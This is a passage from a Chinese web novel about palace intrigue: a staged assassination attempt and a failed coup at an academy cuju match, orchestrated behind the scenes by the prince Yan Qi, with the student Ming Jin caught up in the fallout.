晏祁顿时有些手足无措,他上前一步,却不知道该怎么哄人,只好努力解释着自己真的有在想明瑾,焦头烂额之际,突然听到了一阵压抑的笑声。 “嘿嘿,被我骗到了吧?” 明瑾笑眯眯地转身,哪里还有半点委屈的模样? 晏祁哑口无言。 “你这孩子,”他忍耐道,“真是……” “真是什么?聪明可爱?还是特别讨人喜欢?”明瑾叉腰,得意洋洋道,“我就知道你在乎我!” “…………” 晏祁别开视线。 虽然这是实话,但成年人的世界大都点到为止,有时候大可不必这样直截了当地说出来。 “就是我好像又搞砸了,”明瑾懊恼道,“本来还以为能帮上你的忙的,结果你居然都知道了。那这次是皇帝让你来的?应该不要紧吧?” 晏祁心中一暖。 “没事的,”他低声说,“等下你就直接回去,装作什么都不知道就好了,不会有人知道你来过这里。” 晏祁抬起手,轻轻拂过明瑾的脸庞。 即使经历了方才的事情,少年信赖亲昵的眼神也一如从前,晏祁默然心想,但他心中却揣了太多难言之事,做不到如明瑾一般的坦诚待人。 不过,快了。 晏珀再神通广大,也阻挡不了自己的天命将至。 天道轮回,叫他多苟活十余年,已经是上苍开恩了。 冷酷的想法在脑海中一闪而过,晏祁垂眸注视着明瑾,脸上被冰冻的神情重新温和下来。 “记住,等比赛结束后,别回明家,”他叮嘱道,“去槐花巷等我。”—— 作者有话说:提前更新[狗头叼玫瑰]准备搞一波大的了 第57章 【二合一】 百年难遇的精彩大戏…… 明瑾飘着回到了等候区。 张牧看了看对面提前一步就座的宁王, 再瞧瞧明瑾这副一扫先前焦躁,整个人都神清气爽容光焕发的模样,还有什么不明白的? “你俩可真是, ”他牙酸道, “怎么就……唉, 真是……” 他实在不知道该用什么语言来形容,最后只好扭过头, 重重地叹了一口气, 决定暂且放过自己。 荀婴倒是不在意这些,问道:“你可有把魏家的事告诉宁王殿下?” 明瑾点了点头,又咧嘴一笑:“不过也用不着我告诉,他早就知道了。” “什么?” 荀婴目露诧异之色,正欲再问, 可看到明瑾胸有成竹的表情, 又若有所思地坐回了自己的位置上。 明瑾也没有主动解释的想法。 他望着晏祁所在的方向, 想着对方透露的那层意思, 不禁沉思起来。 假如皇帝早已知晓有人要在今日刺杀自己,却仍放任不管, 究竟是为何?先生说要行刺者另有其人,那如果不是太子,又会是谁? “好球!”“快,再跑快些!” 场上的蹴鞠比赛正进行得激烈, 再有一场,就到万众瞩目的决赛了。 要是换做一个时辰前, 明瑾定会不由自主地开始紧张。 但现在他根本顾不上惦记这个。 明瑾甚至开始怀疑,在这多方交织的阴谋设计下,这场决赛究竟还能不能正常举办。 “该我们上场了。”张牧提醒道。 明瑾睁开眼睛, 长吁一口气。 “走吧!” “没想到啊,还真能跟你们几个在决赛场上遇见,”魏金宝站在他对面,估计是因为找人确认过了机关,他现在又恢复了先前那副志得意满的样子,“一个下贱的商人之子,带着一群地痞流氓,也好意思来陛下和百官面前献丑?” 话音落下,他身边的一群狗腿子们都哄笑起来。 明瑾怜悯地看着他,想起了晏祁回来路上同他所说的话,淡淡道:“你还是先担心一下自己吧。” 魏金宝被他这副神情激怒了,但在他再度出声之前,裁判已经走到了他们面前。 无奈之下,他只得按捺下恨不得让明瑾跪下磕头的心思,和众人一起,朝着陛下和百官的方向行礼。 “——比赛开始!” 皮球被抛至高空,明瑾的思绪骤然被拽回现实。 无论接下来要发生什么,总之,这场比赛,他们决不能输! “这孩子叫什么名字?” 晏珀撑着下巴,偏头饶有兴致地问道。 晏祁顿了顿,恭敬道:“回陛下的话,名单上写着,这是江南明家的儿子,叫明瑾。” “明瑾……” 晏珀总觉得明瑾给他一种熟悉的感觉,仿佛曾在哪里见过似的。 但一时半会,他也联想不到那日在宁王怀中看到的少年。 毕竟当时晏祁护得紧,他也只是在边上调侃了两句,关注点全都放在宁王本人的伤势上,根本没看到那少年的正脸。 “模样倒是生的不错,”晏珀眯起眼睛,指尖轻点着颧骨,“十七八岁的少年,果然意气风发啊。” 晏祁颈侧的筋脉瞬间绷紧。 他压抑着内心滔天的杀意,垂眸微微一笑:“陛下说的没错,不过这明瑾毕竟是商户出身,比起云英书院其他学子,还是差了些大家族的底蕴气度。” “唉,话可不能这么说,”晏珀反倒不同意他的看法了,笑道,“英雄不问出处,朕向来是不拘一格降人才的。” “陛下教导的是。” 晏祁态度愈发恭顺,注视着晏珀背影的眼神,却是不带丝毫温度的冰冷。 若是晏珀敢对明瑾动心思…… 晏祁的指尖微动,在扶手上缓慢地划过一段距离。 仿佛那便是晏珀的咽喉。 坐在两人旁边的太子和二皇子,心里都装着事,因此今日显得异常沉默,但他们也被晏珀这番话吸引去了注意力,不由得多分了些心神给场上的少年。 太子倒还好,只是多看了明瑾几眼;二皇子想起明敖,下意识觉得明瑾也属于自己麾下,觉得有可以利用的机会。 他挥退了要为自己添茶的侍女,冲晏珀笑道:“父皇看人的眼光向来极准,这少年生得俊俏,蹴鞠也踢得好,虽不能入朝为官,但若是能赢下比赛,不如召他进宫,陪父皇踢球解闷如何?” 晏珀正要回答,突然,场上陈叔山一声大喝打断了他的思绪: “少爷接球!” 晏珀停下了话头,扭头望去。 晏祁也垂眸敛去了眼底的杀意。 陈叔山还不知道自己一句话起到了怎样的效果,他一记飞踢,将球凌空踢过半场,明瑾正要跑上前接住,身子突然被人从后面狠撞了一下,险些踉跄栽倒。 他猛地扭头望去,魏金宝朝他露出一抹扭曲的笑容,伸脚欲拐走球,半道上身子却被明瑾用力挤开,将球传给了张牧。 “一而再再而三的挑衅,真以为我是圣人?”明瑾喘着气,死死盯着他,“姓魏的,莫要蹬鼻子上脸了!” 眼看张牧已经带着球朝球门跑去,魏金宝瞳孔一缩,顾不上明瑾的挑衅,立马招呼着人上前阻拦。 他手下这帮狗腿子,踢球的风格都脏得狠,陈叔山几人为了给明瑾保驾护航,不得已挨了好几次阴脚,看得明瑾双眼直冒火。 但他知道轻重缓急,现在最重要的,还是张牧那边—— “明瑾,靠你了!” 张牧眼看着突破无望,竟又把球传回了他脚底下。 明瑾霎时有些手足无措,但他抬头看了看自己面前那道狭窄的防守空隙,又看了看分散盯守的队友们,一咬牙,决定冒险一搏。 “拦住他!”魏金宝怒吼道。 但太迟了。 明瑾忍着被铲腿的疼痛,拼尽全力,将脚下的球踢了出去。 “——进了!” 屏息之后,欢呼声霎时在场中响起。 丝毫没理会魏金宝铁青的脸色,张牧直冲过来,顾不上自己满身大汗,哈哈大笑着给了明瑾一个拥抱:“真有你的!” “不愧是少爷!”“明兄,厉害啊!” 晏祁攥拳坐在座位上,额角青筋直跳。 他盯着那冲上来跟明瑾搂搂抱抱的几人,视线灼热得几乎能把他们洞穿。 大庭广众之下,成何体统! 晏珀看得眼热,他这次是真看中明瑾了,竟主动起身鼓掌道:“好球,精彩至极!” 连皇帝都站起来了,百官自然不敢再老实坐着,一时间全场喝彩声不断。 明瑾身为万众瞩目的中心,被无数掌声赞美声包围,一时竟有些头晕眼花。 仅存的理智让他转过身去,面对着陛下和百官的方向,躬身行礼:“多谢陛下,草民不胜荣幸!” 明瑾起身时,目光落在同样站直身子为他鼓掌的晏祁身上,朝他粲然一笑。 先生,看到了吗? 晏祁唇角微勾,舌尖滑过齿缝,笑容愈发真切。 不久前的抵死缠.绵仿佛还残存绵延在唇齿之间,叫人欲罢不能。 只有他知道,明瑾这个笑容,是为了自己。 但晏珀全然不知,还被明瑾这一笑笑得有些心旌神荡。 他看着少年因为剧烈活动而白里透粉的脸颊,身上半湿的衣裳和那瘦挑修长的四肢,不禁幻想起了他未来在床榻间衣衫半褪的风情。 “你——” 才刚出口一个字,突然一道破风声传来。 一支箭矢划破长空,直直射.在了距离他不过半尺的桌案上,将放在晏珀手边的酒壶彻底击碎! 晏珀瞳孔一缩,腿一软,险些一屁股瘫坐在座位上,身体摇晃间,却被一只手稳稳撑住了脊背。 是晏祁。 “陛下,”他紧贴着晏珀的身体,目光冰冷地低语道,“您可不能慌啊。” 要是晏珀不配合,这出戏要怎么演下去呢? “父皇小心!” 太子第一个反应过来,不过也正常,因为这出戏他本就是始作俑者。 他盯着那支飞来的箭矢,一脸大义凛然地扑过来,用身躯挡住了晏珀,差点把本就上年纪的晏珀压得一口老血吐出来。 “父皇放心,儿臣定不会让您有事的!”他嘴上喊着,一双眼睛却死死地盯着神情满是猝不及防的二皇子,“究竟是哪个胆大包天之人,敢对您下手?儿臣今日就算掘地三尺,也要把人找出来!” 百官这下终于反应过来了,嘴里喊着“护驾”、“有刺客”,一阵兵荒马乱之中,禁军纷纷冲入场内,包围了所有人。 晏珀一把推开压在自己身上的太子。 虽然他有所准备,但还是没想到老大能蠢到这个地步! 他暗骂一声,但都到了这个地步,也不得不配合着把这出戏继续演下去——因为太子蠢归蠢,至少,他不会像老二一样,对自己的皇位产生威胁。 ……暂时。 “捉拿刺客!”他冷声命令道。 除百官外,在场所有人都被禁军押解到了一处,箭矢飞来的方向是藏书阁,那处机关更是很快就被锦衣卫拆卸下来,原原本本地呈在了晏珀面前。 一位武将迟疑道:“看这机关的样式,应该是十余年前的了,倒有些像是……昭明军中所用?” 晏珀不动声色地看向晏祁。 在场和昭明军联系最深的,有且仅有宁王一人,当然,这是在明瑾的存在不被众人知晓的前提下。 一下子成为众矢之的的晏祁神色如常,他并未申辩,只是淡淡说了一句:“陛下明鉴,臣并不知晓此事。” 太子也赶忙道:“是啊父皇,仿制这种机关并不困难,宁王殿下一直对您忠心耿耿,定是有人栽赃陷害!” 在他看来,晏祁也算是太子党的一员,太子可不希望自己最有力的盟友倒台。 他安排这么一场戏,主角可不是晏祁,而是他的好弟弟—— “陛下,刺客抓到了!” 二皇子抿紧唇,忽然有种不祥的预感。 一个身材瘦弱的黑衣人被禁军押解而来,正好跪在了明瑾前面,明瑾盯着他直挺挺的背影,听到他嗓音沙哑地大笑了几声,忽然高声喊道:“二殿下,属下无能,不能替您完成任务,便先走一步了!” 说罢,突然奋力挣扎起身,一头撞向了身旁的刀剑。 那禁军收手不及,利刃滑过黑衣人的颈动脉,溅射出的滚烫鲜血泼洒一地,引发一片惊叫! 明瑾呆呆地跪在草坪之上,感受着脸颊上滴落的鲜血,眼前一片刺目的鲜红,浓烈的腥气扑面而来。 “呕——” 还好,在场作呕之人并非只有他一个。 晏祁面无表情地看着这一幕惨状,金眸冷淡漠然,整个人犹如木石般无动于衷。 直到明瑾被那黑衣人的血泼溅到,他的脸色才猛地沉了下来。 ——太子,真是个十足的蠢货。 “老二!”太子不可置信地叫嚷出声,抖着手指,痛心疾首地指着自己的兄弟,“你——你怎能行如此大逆不道之事?父皇他,他可是你的亲生父亲啊!” “住口!” 兴许是终于看不下去自己这个蠢儿子在文武百官面前丢人现眼了,晏珀忍无可忍地冷喝一声,打断了他的惺惺作态。 太子委屈地闭上了嘴巴,但看到晏珀将冰冷的视线投向二皇子,顿时又幸灾乐祸起来。 自己被父皇训斥了又如何?计谋拙劣又如何? 老二,你再如何优秀,天命依然站在他这边! “晏瑁,”晏珀冷冷道,“你还有什么要说的吗。” 二皇子沉默着,低头拂去长袖上的灰尘。 他忽然低笑了两声。 “晏瑁!”晏珀被他这副轻慢的态度激怒了,“朕在问你话,怎么,是无话可说了?” “欲加之罪,何患无辞?” 二皇子猛地抬起头,分毫不让与他对视:“父皇明知道儿臣想说什么,您一直都知道,不是吗?” “你在说什么胡话?”晏珀皱眉,“朕在问你刺客一事,是否与你有关,不要顾左右而言其他!” 二皇子大笑起来:“有关如何?无关又如何!父皇,多年来儿臣一直在想,我究竟比太子差在哪里,无论是模样品性还是能力,我都远胜于他!” 他指着太子,步步紧逼道:“凭什么只是因为他早出生,他便天生拥有一切,而我却要处处忍让,伏低做小?凭什么因为父皇的权衡之术,太子被废又立,父皇想安抚他,我的人就要枉死,而我也要平白无故被他的愚蠢连累!” 他深深喘了两口气,惨笑起来: “我没有错,父皇,错的自始至终都是太子!是您的偏心啊!” 晏珀脸色黑沉:“老二!你是不是疯了?” 若是晏瑁只为自己申辩,哪怕攀咬他兄长几句,晏珀都还能饶他一命,毕竟是自己的亲生儿子,哪怕忌惮,也不能父子相残。 可这狼心狗肺的东西,倒先怪起他来了!还当着百官的面职责他这个父亲当得不称职——晏珀眼中闪过一道杀气,盯着晏瑁的眼神也逐渐不善起来。 太子更是迫不及待地跳出来,代替晏珀指责道:“老二,你太让父皇失望了!父皇做事,向来公平公正,黄甲死是因为他在朝中勾结朋党,此事早已是板上钉钉,就连黄甲的口供,也是宁王殿下亲自审出来的,你怎能违抗父皇,还公然为一罪臣伸冤?” 明瑾这会儿缓过来一些了,但他还是不敢多看前面的尸体,扭过头望向身后,目光下意识搜寻着丁弘毅的方向。 果不其然,丁弘毅的脸色极为难看,他紧咬着牙关,像是下一秒就要起身为友人驳斥太子的言论。 明瑾吓了一跳,赶忙冲他摇头——这要是被卷进去,丁弘毅有八个脑袋也不够砍啊! 虽然他平时对老丁头恨得牙痒痒,但毕竟是教过他几年的先生,似乎还是他爹的恩师。 明瑾不希望他一时糊涂,落得个太过凄惨的下场。 丁弘毅看到了他的动作,嘴唇动了动。 最终,他闭上了眼睛,顺从了明瑾的意思,什么都没有说。 明瑾松了一口气,收回目光,继续竖起耳朵,偷听起这场大雍皇室内部的纷争大戏。 “少在这儿假惺惺地指责我!” 要说二皇子对晏珀,怨大于恨,那他对待太子,就是纯恨了。他冷笑道:“今日之事,肯定是你在背后捣鬼!贼喊捉贼!皇天后土在上,晏璋,我告诉你,你是不会有好下场的!” “够了!”晏珀忍无可忍,“晏瑁,他是你大哥!先不提刺客一事,目无尊长,口出狂言,我看你是活腻歪了!” 二皇子的冷笑僵在了脸上,相反,太子的唇角控制不住地高高扬起。 晏祁带着欣赏的目光,负手而立,静静注视着这三位上演的父子大戏。 此处应有掌声的。 他遗憾地想。 其实太子再蠢,也不至于被废,二皇子再不甘心,也到不了兵行险着的地步,他与太子、与晏珀的关系,更是离势同水火公开决裂差得远。 但晏祁怎么会允许他们在自己面前表现出兄友弟恭,父子情深? 他用了整整七年时间,安插人手,挑唆对立,一步步把三人之间的裂痕扩大,最终,才叫他们走到今天这步,给在场的文武百官们都表演了一出百年难遇的精彩大戏。 “来人,”晏珀无法容忍自己的儿子继续挑战他身为帝王的威严,“不敬君父,还疑似与刺客勾连,先把他给我拿下,容后审问——” “不必了。” 二皇子突然出声。 他直勾勾地看向晏珀,忽然又恢复了往日那副温文尔雅的模样,淡淡一笑:“父皇,您被小人蒙蔽,儿臣不怪您。” “您放心,今日之事,后续儿臣定会查清真凶,叫事情水落石出的。” “……你什么意思?” 姜毕竟还是老的辣,晏珀从自己这个儿子的神色之中看出了端倪,一时没有说话,但太子忍不住了,跳出来质问道。 “什么意思,”二皇子轻蔑一笑,“还轮不到你来问。” “来人,护驾!” 话音落下,现场近一多半的禁军立即反戈将刀剑对准了身边的同僚,百官哗然,太子和晏珀更是霍然变色。 明瑾:哇,好精彩的一出大戏! 他眼睛瞪得溜圆,趁着没人注意这边,抬起头,兴致勃勃地看着这几度反转,和周围战战兢兢一副天塌了的学子们截然不同,明瑾一点儿也不担心自己会在事后被灭口。 先生还在这儿呢,怎么会让自己有事? 既然没有生命危险,明瑾看戏吃瓜就一点儿心理负担也没有了,他甚至觉得,这皇帝、太子和二皇子闹起矛盾来,好像和街上张三李四王五家争财产,也没什么本质区别嘛。 也是吵来吵去扯头花,说你欠我什么什么,我应得什么什么,只不过他们身份特殊,分的不是家产,而是天下。 唉,无趣得很。 以后他和先生肯定不会这样,明瑾心想。 他对天下和皇位都不感兴趣,而且有了好东西,明瑾巴不得第一时间送给晏祁,而往往晏祁的想法也跟他一样。 他俩虽然不是父子,没有血缘关系,情谊却更甚父子。 明瑾偷偷看了晏祁一眼,忽然发现先生的表情微微变了,似乎凝重了些,正疑惑呢,前面又出现了新变故—— “老二!”太子瞪着前方,神色惊怒交加,却因为顾忌着身边反水的禁军和从书院外不断涌进的二皇子私军,根本不敢随便动弹。 该死,老二究竟是什么时候开始筹划的? 他开始后悔今日的贸然之举,早知如此,起码得再多带些人手的。但此时已是骑虎难下,太子只能色厉内荏地责骂道,“你疯了?快放开父皇!” 在场的文武百官更是骚动起来,看着被二皇子手下“护住”,实则劫持的晏珀,痛骂二皇子狼子野心,无君无父。 但这一声声辱骂,却叫原本还有些动摇的二皇子彻底下定了决心。 “统统给孤闭嘴!” 他高声宣布道:“陛下受刺客惊吓,身体不适,孤现在要护送陛下回宫,你们却横加阻拦,是何居心?” “还有太子!” 二皇子的眼刀狠狠扎向太子:“利用刺客来诬陷栽赃兄弟,父皇被你蒙蔽,孤可不会——左右,给孤杀了他!” 晏珀怒道:“晏瑁,你敢!” 他默许太子自导自演,只是想故技重施,再次给最近小动作频繁的晏瑁施压,可没想过晏瑁竟会真的铤而走险,甚至准备兄弟相残! 尽管晏珀自己也干过同样的事情,可放在他的两个儿子身上,却怎么都叫他无法忍受。 “父皇,您看好了,”他的好儿子在他身旁低笑着,声线带着癫狂之意,“孤才是最配得上太子之位的人,大雍在孤手上,定能比现在更兴旺百倍——” “可惜,你没有这个机会了。” 一道冰冷的女声自身后响起。 二皇子瞳孔一缩——是谁!? 不等他回头,后颈便遭到了重击,二皇子眼前一黑,登时倒地不起。 他手下的人想要前来支援,但几道寒光闪过,士兵们的惨叫声回荡在四周,咽喉被精准切开,身躯上插.满箭矢,有的甚至连惨叫声都发不出来,就直接一命呜呼了。 全场陷入一片死寂。 出手之人,乃是二皇子身后那名原本毫无存在感的蒙面侍女。可众人不明白,那些箭又是从何而来? 难道说,是陛下早有准备…… 突如其来的变故震住了在场所有人。 晏珀眯起眼睛,抬头看向自始至终一言不发的晏祁。 晏祁面色不改,躬身道:“臣万死,让陛下受惊了。” 伴随着他的声音,无数脚步声、军械摩擦声由远及近,自城外而来的数千士兵,如潮水般团团包围了云英书院,将整座书院堵得水泄不通。 “卧槽,”张牧呆呆道,“太他娘的精彩了。”—— 作者有话说:这章小高.潮有点卡,终于写完了[化了] 第58章 【二合一】 老子干你祖宗十八代!…… 明瑾虽然没吱声, 但他打心眼里认同张牧这句话。 这出峰回路转的剧情,实在是太精彩了! 但身为当事人、并且还是主角之一的晏珀,就远没有明瑾这样轻松愉悦了。 他现在的心情, 可以说是极度败坏。 “太慢了, ”晏珀望着四周姗姗来迟的军队, 声音仿佛带着冰碴,“宁王, 给朕一个解释。” 虽说今日之事仍旧在他的掌控之中, 但二皇子大庭广众之下的一番作为,可以说是叫晏珀、乃至整个皇室颜面扫地。 这是一向好面子的晏珀几乎无法容忍的。 晏祁毫不犹豫地跪下请罪:“臣未曾料到禁军之中竟也有二皇子党羽,准备不足,是臣之过,请陛下责罚。” 他如此恭顺的态度, 叫晏珀被怒火冲昏的头脑稍稍冷静了些。 对了, 禁军。 他不可能让宁王插手军队, 即使今日放权, 也不过是暂时的权宜之计。如此一来,支援姗姗来迟, 倒也说得通。 只是没想到,一直提防的宁王关键时刻忠心耿耿,倒是那孽子,竟辜负他的信任, 还敢鼓动禁军反叛……幸好,不是全部。 晏珀一向厌恶有人挑衅自己的权威, 若是晏祁为自己申辩,定会招来他的反感,但看着晏祁恭顺请罪的模样, 他倒也没那么生气了,只是冷哼一声:“回去之后禁闭十日。” “是。” 虽然只是个不痛不痒的惩罚,但明瑾还是听得火大—— 这人有什么毛病啊? 自己儿子没教好,公然造老子的反,先生好心好意帮忙平叛,他不赏有功之臣就罢了,居然还要罚先生? 不分是非黑白,活该被儿子造反,呸! 加上上次在宁王府的经历,明瑾对于晏珀这个皇帝感官可以说是差到了极点。 还好,晏珀没有继续为难晏祁。 毕竟现在的重点不是他,而是他那个大逆不道的孽子。 “弄盆水来,把他弄醒。”晏珀冷声命令道。 一盆凉水从头浇到脚,二皇子打了个寒颤,有些迷茫地睁开了眼睛,待看到面前的场景时,他瞬间脸色惨白,抖着唇,半天说不出话来。 “朕自问待你不薄,不想你这逆子却丝毫不知感恩,反倒加害于你的亲生父亲和兄长,”晏珀难掩怒意地呵斥道,“朕对你太失望了!” 二皇子看着他,忽然哈哈大笑起来。 “有什么可笑的!” “愿赌服输,儿臣认了,”二皇子笑出了眼泪,“本来么,儿臣还在犹豫要不要在今日动手,他们劝我身边多待些护卫,我也一并拒了,现在看来,还是太天真了啊!” 晏珀的表情愈发难看。 他有预感,自己这个逆子,接下来说的话不会是他想听到的。 但在他开口打断前,二皇子已经抢先一步开了口,他死死地盯着站在一旁的太子,嘴角勾起一抹狞笑:“我这位好兄长,可是比我要狠绝百倍不止,深得您的真传——陛下!您当初弑兄上位,可有想过今日膝下手足相残?哈哈哈哈,这都是报应啊!” “混账!” 晏珀大步上前,一巴掌抽在了他的脸上。 这一下晏珀完全没留手,可以说是照死里打的。 虽然他近年被酒色掏空了身子,身体大不如从前,但好歹也是个成年男性,一巴掌下去,打得二皇子闷哼一声,眼冒金星,要不是被身边两个士兵挟持着,估计早就瘫倒在地上了。 明瑾听得都不禁咋舌:乖乖,看来这是气狠了啊。 哼哼,还好他乖得狠,先生又疼他,就算自己做了错事,罚他也不会罚太狠。 也不知道为什么,明瑾总是无意识地拿晏珀三人和自己与先生做对比,而在发现他们这几个真父子,无论哪方面都完全比不过他和晏祁时,明瑾顿时在心中洋洋自得起来。 就这么一走神的功夫,等他再回过神来,这场大戏已是尘埃落定。 虽然也有一些官员为二皇子求情,但晏珀估计是被这孽子气恨了,一口咬定要处死这个儿子,并且还要彻查二皇子麾下势力,看看究竟是谁蛊惑他干出这等倒行逆施之举。 明瑾暗道就你这样当爹的,儿子还用得着人蛊惑?恐怕是个人都要反。 “朕决意已定,再有求情者,视同乱党一并处置!” 当着面如死灰的二皇子,晏珀拂袖不悦道:“至于彻查此事,就交由……” 一直沉默的晏祁忽然主动情愿道:“陛下,兹事体大,交由外臣办未免不妥,臣愿效犬马之劳。” 晏珀诧异地看了他一眼。 晏祁说得有理,毕竟家丑不可外扬,要不是文武百官都在这儿,晏珀甚至都想把云英书院上下灭口,免得这孽子的事传扬出去,给他丢人现眼。 既然晏祁主动提出要接下这个棘手的任务,他本想顺势答应下来,然而晏珀生性多疑,多年为君,更是让他培养出了一种身为上位者的直觉。 就比如现在,他就隐约觉得,似乎有哪里不对。 但晏珀一时也说不出个门道来。 因为晏祁从头至尾都没有表现出任何可疑之处,他只是出于直觉对对方产生了怀疑,当然,也有可能是因为,自己其实一直都在提防着这个外甥,从未真正信任过他。 最终,晏珀还是没有答应晏祁。 他转而对太子道:“这件事就交给你了。” 太子大喜,但注意到晏珀冰寒的眼神,他神色一凛,赶忙收敛起脸上过于明显的喜色,躬身行礼道:“是,父皇,儿臣一定不辜负父皇的信任。” 晏祁悄然攥紧了双拳。 晏珀这混蛋…… 这就是他这么多年,即使已经有九成以上把握能够篡权成功,也不愿轻易动手的原因。 晏珀这个人,可以说某些方面是天生为帝皇而生,不仅冷血多疑,在玩弄人心、操控权术这方面更是无师自通。 若没有十成十的把握,恐怕今日的二皇子,就是他晏祁未来的下场。 只是若此事交由太子,以太子那睚眦必报的秉性,必定会牵连甚广,更别提明敖本就是二皇子麾下门客。 明家被牵连,已是板上钉钉,他现在唯一能做的,就是想办法让明瑾与明家彻底割席,否则的话…… 还好,还没到最坏的情况发生。 晏祁直起身,压下内心那一丝哀恸,逼迫自己冷静下来,思考后续应对的策略。 这么多年,明家夫妇对他的温情,他自然也都看在眼里,但晏祁知道现在不是考虑情感因素的时候,尤其是当他发现晏珀看待周围人的眼神,隐约带上了一丝杀意时,更是心中一沉。 “陛下,”他再次开口道,“今日臣护卫不力,让您受惊了,不如先让百官和书院众人散去,由臣护送您回宫,谨防还有刺客埋伏在宫外。其余的事情,就交由太子殿下来处置,您看如何?” 晏珀烦躁道:“行吧,被这孽子闹了一通,朕的确头疼得很。朕那宝贝呢?” 晏祁闻言,立刻低声吩咐了两句,不一会儿,侍从们就扛着步辇来到了场中,晏祁则从一位内宦手里接过宝匣,恭敬呈到了晏珀面前。 “陛下请用。” 宝匣打开,里面放着一枚丹药。 晏珀服下丹药,终于觉得一直萦绕在体内的那股无处挥发的空虚感缓解了些许,他坐上步辇,叫人用囚车把二皇子一同押解回宫,甚至都懒得敷衍百官,挥了挥手便示意侍从们起轿回宫。 晏祁自然要一路护送。 但他还牵挂着在场的明瑾,担心后续会出现什么意外情况。众目睽睽之下,晏祁不好和太子交谈,在离开前,他似是不经意地望向某个角落,用口型说了一句话。 太子没注意到他的小动作,待父皇带着宁王一并离开后,他整了整衣袖,先是像模像样地同百官致歉,言辞恳切,表现得颇为得体——要是明瑾没看到他先前那副近乎小人得志的样子,八成就真的相信了。 而等百官们或是忧心忡忡、或是神情凝重地散去后,太子转身面对着剩下的这些学子,态度便显而易见地发生了变化。 “龚院长,”他对着在场唯一一位留下的官员,同时也是云英书院的负责人淡淡道,“今日之事,不可外传,您作为院长,应该懂得如何管教手下这些先生和学子们吧?” 龚万躬身道:“这是自然,殿下放心。” “放心?孤可放不下心啊,”太子意味深长道,“父皇乘兴而来,败兴而归,虽说和这些学子们无关,但云英书院迎接圣驾,却出了如此大的纰漏,你作为院长,实在难逃其咎,还有在场的这些人里,说不准还混着几个叛军同党……” 龚万立刻跪下:“身为院长,臣的确有疏忽失职之处,一人做事一人担,望太子殿下明鉴!” 太子再清楚不过整起事件的来由经过,本来也没想着把龚万怎么着,故意这么说,不过是习惯性敲打一下臣子,再展现一番自己的宽容大度罢了。 从这点来看,他的确与晏珀一脉相传。 “龚院长说的哪里话,”太子停顿了片刻,舒展一笑,“孤又岂是那种是非不分之人?不必跪了,快快请起——” “殿下!” 正当他要上前扶起龚万时,人群中魏金宝突然出声,指着正在边上吃瓜看戏的明瑾大声道:“决赛前,我看到此人起身离场,行迹鬼祟!请殿下彻查!” 太子挑眉:“哦?” 明瑾呼吸一窒,死死地瞪着魏金宝。 他怎么也没想到,这姓魏的混蛋,会专门挑这个时候跳出来给自己使绊子——不过魏家本就与太子沆瀣一气,今日之事也是他们自导自演,倒也不奇怪。 他冷笑起来:“少血口喷人,魏金宝,书院上下谁不知道你与我有仇?但我实在没想到,你居然如此关注我,就连我去趟茅厕,都时刻牵挂在心啊。” 魏金宝被他气得嘴角抽搐,他知道自己说不过明瑾,干脆直接求助于太子:“殿下,此人牙尖嘴利,切勿听他一面之词,依我看,还是先把人关押起来,好好审问才是。” 张牧捏紧拳头,怒而起身:“魏金宝,你想死是不是?” 荀婴忙按住他:“稍安勿躁。” 他首先起身朝太子行了一礼:“殿下明鉴:明瑾身为云英书院学子,好好的,为什么要冒着抄家灭族的风险去刺杀陛下?且中途离场者并非明瑾一人,我等均可以作证,明瑾与叛党并无半点联系!” 随后又转向魏金宝,厉声道:“陛下方才已经将彻查叛党一事全权交由了太子殿下,你身为魏相之子,不想着为殿下分忧,却一心只顾着报私仇,还想指手画脚教殿下做事,魏金宝,就问你该当何罪!” 魏金宝被他唬了一跳,但他咬牙看了看神色莫测的太子,还是决定赌一把。 毕竟魏家也算太子党,以太子的脾气,他应该不会在意一个商户之子的死活——不过前提是,太子不知晓明瑾与宁王有关系。 虽然不知道明瑾这小子是何时攀上的宁王,但就从那日宁王当众将他抱走的动作来看,魏金宝猜测,这两人八成关系匪浅。 他虽然没有大哥那么聪明,但也知道不能放任仇人成长起来的道理。 魏金宝有种预感,若是错过这次机会,将来再想收拾明瑾就难了! “殿下,”他一口咬定明瑾有嫌疑,“请您彻查明瑾!” “殿下!” “太子殿下,”就连龚万也忍不住开口了,“明瑾这孩子的品性有目共睹,臣也愿意为他担保……” “院长切莫说这种话了,”魏金宝急切道,为了踩死明瑾,他甚至连龚院长的面子也不愿意给了,“先前明瑾顶撞师长被当众处罚,全书院可都传遍了!” 张牧的牙齿咬得咯咯响,表情看上去像是要把他当场五马分尸。 “好了,都给孤少说两句。”太子听着也有些头大,不禁暗暗瞪了一眼没事给自己瞎找麻烦的魏金宝,觉得这小子无论是从气度还是能力方面,比起他兄长真是差远了, 只可惜,也不知道为什么,魏伯贤前段时间竟被家族除名,没法为他所用了。 太子把目光投向神色不卑不亢的明瑾,不得不说,相比起魏金宝,明瑾的外形的确更得他青睐,况且他也不是傻子,明瑾究竟有没有嫌疑,他自然会用脑子去判断。 再结合先前父皇对这少年隐隐的“欣赏”之意…… 太子心中有了主意。 他惯用的伎俩便是用人前先将人打压一番,然后再“施恩”收服人心。 这一招,也是从他的父皇那儿学来的。身为上位者,这招式太子可谓是屡试不爽。 “孤答应过父皇要彻查,那便宁可错杀一千,也不能放过一个。”他淡淡道。 魏金宝的面上露出了喜色,明瑾等人却霎时脸色苍白,一颗心高高悬起—— “来人,先将他押送到……” “太子殿下。” 太子的话语被打断,他不悦转身,心想如今老二败了,他便是唯一的储君,大雍板上钉钉的未来帝皇!究竟是谁这么没眼色? “殿下,不如把这少年交给我们吧。”一身锦衣飞鱼服、腰间佩绣春刀的金柳漫步走来,笑容谦卑温和。 看上去,倒是比一贯不苟言笑的丁弘毅,更像是位谆谆教诲的教书先生。 但在场没人敢真的这么认为。 太子一愣,他原本只是想让人把明瑾押到刑部去,这少年一看就阅历尚浅,估计在牢房里待个半天,能吓得写好三封遗书。 届时自己再派人把他捞出来,定能收获对方的感激涕零。 但北镇抚司不一样啊! 金柳这个人,无事不登三宝殿,一旦有事,那就是惊天动地的大事,就算是如今的太子也不敢轻易得罪。 毕竟锦衣卫无孔不入,这位金指挥使更是代表着父皇的耳目,报告直接上达天听,就连他贵为太子,也无权查阅。 现在他主动站出来问自己要人,难不成,这小子还真与刺客有关? 太子脑海中飞速闪过这些念头,保险起见,立刻便决定舍弃明瑾。 反正也只是一个微不足道的小卒而已,是死是活,对他而言都无足轻重。 “既然指挥使这么说了,那人就交给你们了。”他随意道。 “殿下!”龚万顿时急了。 在他看来,若是明瑾进了北镇抚司,那是不死也要脱层皮啊! 